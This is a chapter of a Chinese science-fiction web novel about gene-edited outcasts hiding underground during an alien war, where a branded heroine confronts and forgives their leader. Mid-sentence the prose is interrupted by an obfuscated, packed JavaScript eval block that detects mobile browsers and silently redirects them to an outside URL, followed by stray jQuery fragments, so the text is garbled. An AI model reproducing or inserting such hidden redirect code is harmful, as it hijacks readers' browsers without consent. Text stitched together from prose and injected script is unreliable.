地下管道不断发出不堪重负的呻吟,贺茜数着爆炸发生的间隔时间,一分钟一次,愈来愈频繁。
“又一轮开始了。”一个女孩蜷缩在通风管下方,她畸形的脊椎让她无法平躺,她连说话都断断续续,“他们说上层区已经没人了,全都躲进了虹吸塔。”
贺茜没有回答,她盯着墙上那张泛黄的旧照片,那是二十年前基因优选计划刚开始时的宣传海报。照片上的婴儿笑容灿烂,那是她孪生姐姐,现在已经是艾琳实验室的一名研究员。而他们这些残次品,只能像老鼠一样活在角落里。
“贺茜!”一个瘦削的年轻人从管道缝隙挤进来,“东边水管破了,水已经淹到膝盖了!”
贺茜猛地站起身,额头撞在低矮的管道上,留下一道血痕。她顾不得擦拭,抓起工具箱就往外冲。穿过曲折的管道时,她听到从四面八方传来的啜泣声。
三百二十七人,这是他们最后的数字,三百二十七个被父母、家族抛弃的残次品。
漏水的情况比预想的更糟,水管扭曲断裂,浑浊的污水正喷涌而出。几个年轻人用身体堵住裂口,他们裸露的手臂上布满因基因缺陷而产生的鳞状斑块,在昏暗的灯光下泛着病态的光泽。
贺茜站在原地,无能为力,在基因没有异变之前,她也曾是天之骄子,和姐姐一起闪闪发光。
“完蛋咯!”老陈咳嗽着说,他肺部的缺陷让他每次呼吸都像拉风箱,“明天那些克依伯杂种就会炸穿这里,我们完了,贺茜。”
“她会来的。”
“谁?你说那个贪生怕死,不知道躲在哪儿的原始种?下层区已经投靠了外星杂种。上层区溃不成军,人类只剩下我们了,而我们自身难保。”
管道深处传来窸窣的响动,一个瘦小的女孩怯生生地问:“贺茜姐姐,我们之前那样对她,在她脸上烙下印记,她不会恨我们吗?她真的会来吗?”
贺茜的目光扫过每一张布满缺陷却充满期待的脸:“她会。克依伯人一定会用陆凛的性命要挟她。现在上层区沦陷,下层区投降,她能依靠的只有我们。”
“她怎么来?就凭那个烙印?”老陈剧烈地咳嗽,“我们当初就该直接告诉她!现在她可能根本都不知道那是什么!”
“对!当时就该直接说!”
“给个烙印是生怕她找到我们吗?”有人讽刺,“谁能猜到烙印是定位?”
“早知道当时就直接给她说了,当时为什么不直接说啊!”
此起彼伏的抱怨声中,贺茜猛地拍向生锈的管道壁,巨响让所有人安静下来,“我们是家族的耻辱,是艾琳的眼中钉。直接告诉她?你们是嫌我们死得不够快吗?”
“那要不?”角落里,一个少年怯懦地提议,“我们现在派人去找她?偷偷的,就两个人。”
“不行!”贺茜斩钉截铁打断,“我们不能冒任何风险,否则岩川他们的牺牲就白费了。”
提到岩川,所有人沉默。
几个月前,艾琳绑架林悦扔进残次品基地栽赃,为了保全其他人,岩川将计就计扮演恶人,认下所有罪名。他在林悦脸上烙下那个看似残忍的印记,其实是一串精妙的编码,标记着他们最后的藏身之地。
“这也不行那也不行!”老陈拳头狠狠砸在管道上,“难道躲在这地下等死吗!”
“与其等死,不如拼一把!”有人说。
“你连阳光都见不了,出去就是送死!”有人反对。
“难道我们只能在这里等死吗——”无尽的绝望。
“终于找到了!”
积水泛起涟漪,林悦踩着水光走来,左脸上的烙印在应急灯的照射下若隐若现,她停在贺茜面前:”还有精力吵,看来各位过得不错!”林悦毫不客气上下打量了一番贺茜,”你就是管事的?”
管道水滴答滴答,双人谁也没说话,气氛僵持。
“你很聪明。”贺茜最终先开口。
林悦环视四周,阴影里潜伏着数道身影。
“想要我们帮忙?可以,用你的血制作基因修复试剂。”贺茜单刀直入,眼神锐利。
“免谈。”林悦拒绝得干脆利落,连眼皮都没抬一下,“现在除了我,没人需要你们,活着的你们。”她特意在”活着”二字上加重了语气。
贺茜脸色瞬间阴沉下来。
“交易很简单,”林悦环视众人,“我带你们出去,你们站在我身后。”
“没有修复试剂,我们哪儿也不去。”
“呵!”林悦轻笑一声,那笑声里带着毫不掩饰的讥讽,“连你姐姐都不救了?”她向前迈了一步,直视贺茜的眼睛,“当年要不是她偷梁换柱,你早被家族处决了。你和她感情颇深。”
林悦没给贺茜反驳的机会,立即又转向另一个人:“还有你,那个总偷偷给你送饭的弟弟,你不要了?”她缓缓扫视众人,声音冷得像冰,“你们每个人的底细,我都一清二楚,休想威胁我!想要我救人,还要我的血,你们怎么不直接现在就把我吃了!怎么,怕不够分?”
“陆凛居然把什么都告诉你了?”贺茜难以置信,后退半步,“他那样多疑的人。”
“我们之间没有秘密。”
“你究竟是谁?”
“你奶奶——”林悦拖着长音,翻了个大大的白眼。
紧张的气氛中没有任何人说话,所有人都在思考,都在试探。
“喏,拿着。”林悦从背包里掏出基因修复试剂。
“你不是......你怎么......”贺茜伸出的手悬在半空。
“我是菩萨!”林悦没好气,把试剂拍在她手里。
“姐姐。”一个女孩小声说,“你说话好凶。”
“我凶?”林悦无语,“妹妹,你不要太搞笑好吗?你们在我的脸上生生烙下一个标记,炙热的,铁,烙的,有多疼,你知道吗?我凶?我对你们简直不要太圣母好吗?”林悦一股脑说完,转向贺茜,“还有你,也是个人才!有那么多方法,偏偏选择烙印。其实你当时是存了报复的心理吧。”
“我......”
“你喜欢陆凛。”林悦肯定说道。
“我已经配不上他了。”贺茜下意识捂住自己泛着诡异灰白的眼睛。
“怎么就配不上了?”
听到林悦的话,贺茜缓缓抬头。
在贺茜错愕的注视
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715343|183888||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中,林悦一字一句道:“你勇敢,有智有谋,能在艾琳和家族的围剿下中保全大家,这份胆识和谋略,我敬佩。只是——”林悦话音一转,“你不该报复弱者——当时的我。你在我脸上烙印,不止为陆凛,还为曾经那个骄傲的你,你嫉妒我所能得到的一切瞩目。”
“我还给你!”贺茜倏地抽出匕首,寒光闪过,两道血痕瞬间在她姣好的面容上绽开,她刻下了两个字母后,被林悦止住。
“够了,足够了,我原谅你了。”林悦看着贺茜脸上交错的泪水和血痕,“来之前我就想好了,要是你狡辩,死不承认,我就把你划成大花脸!”林悦佯装恶狠狠。
“对不起——”贺茜低下头,羞愧无比。
基因修复试剂并不能让他们完好如初,只能缓解病症。林悦无奈告诉他们这个残酷的事实。
“那是不是我们都会死?最终的结局,我和姐姐一个都逃不过。”贺茜嘴角苦涩,她和姐姐,一个是基因编辑的失败品,一个是实验室引以为傲的完美样本,可到头来,竟都逃不过死亡的结局。
“如此,你们还要和我一起出去吗?”林悦问。
“为什么不!”角落里,一个始终低着头的女子突然抬头,她的脸上布满狰狞的脓疮。尽管林悦见过不少基因编辑失败的案例,可还是被这触目惊心的面容惊得后退了半步。
“对不起。”林悦为自己的失态道歉。
女子却笑了,溃烂的脸上挤出一个凄凉的笑:“我早就习惯了。为了寻找治愈癌症的方法,他们把我弄得人不人鬼不鬼。这些年我辗转下水道、臭水沟,他们都叫我老鼠人。”女孩口中的他们是她的家人,“我这辈子从未真正活过。现在,就算顶着这副可怖的面容,就算明天就会死,我也要出去!总好过在这□□棺材里腐烂一辈子。”
“对!他们都叫我们老鼠人!”另一个瘦小的女孩突然激动地站起来,“看着那些人在阳光下奔跑欢笑,我肺都要气炸了!我要出去砍死外星狗杂种,想砍谁就砍谁,想想就快活,哈哈哈哈哈!”
老鼠人,听见这个称呼所有人都不约而同低下了头,林悦的心一阵钝痛。
“不要有心理负担。”可偏生贺茜还安慰她,她环视周遭遍体鳞伤的同伴,声音温柔而坚定,“我们是为了自己!就让我们也感受一次活着!”
林悦望着眼前这群伤痕累累的人,眼眶逐渐发烫,她死死咬住下唇,竭力控制情绪,却仍压不住心底翻涌的愧疚。
如果当年外婆没有一意孤行地推进时空研究,没有打开那扇禁忌之门,那么现在这些鲜活的生命是不是就不会沦为实验的牺牲品?
他们本可以拥有平凡但完整的人生,在阳光下奔跑,在月光下跳舞,而不是像现在这样,连活着都是奢望。
每一个溃烂的伤口,每一道扭曲的疤痕,都在无声地控诉着,这一切悲剧的源头,都系于她血脉相连的至亲。
滚烫的泪水终于夺眶而出。林悦颤抖着捂住脸,忍不住在心底绝望地叩问:这样的罪孽,究竟要怎样才能够赎清!
“别哭。”贺茜轻轻搂住她,强装无恙,”没事。”
林悦伏在何茜肩头,愧疚如海深。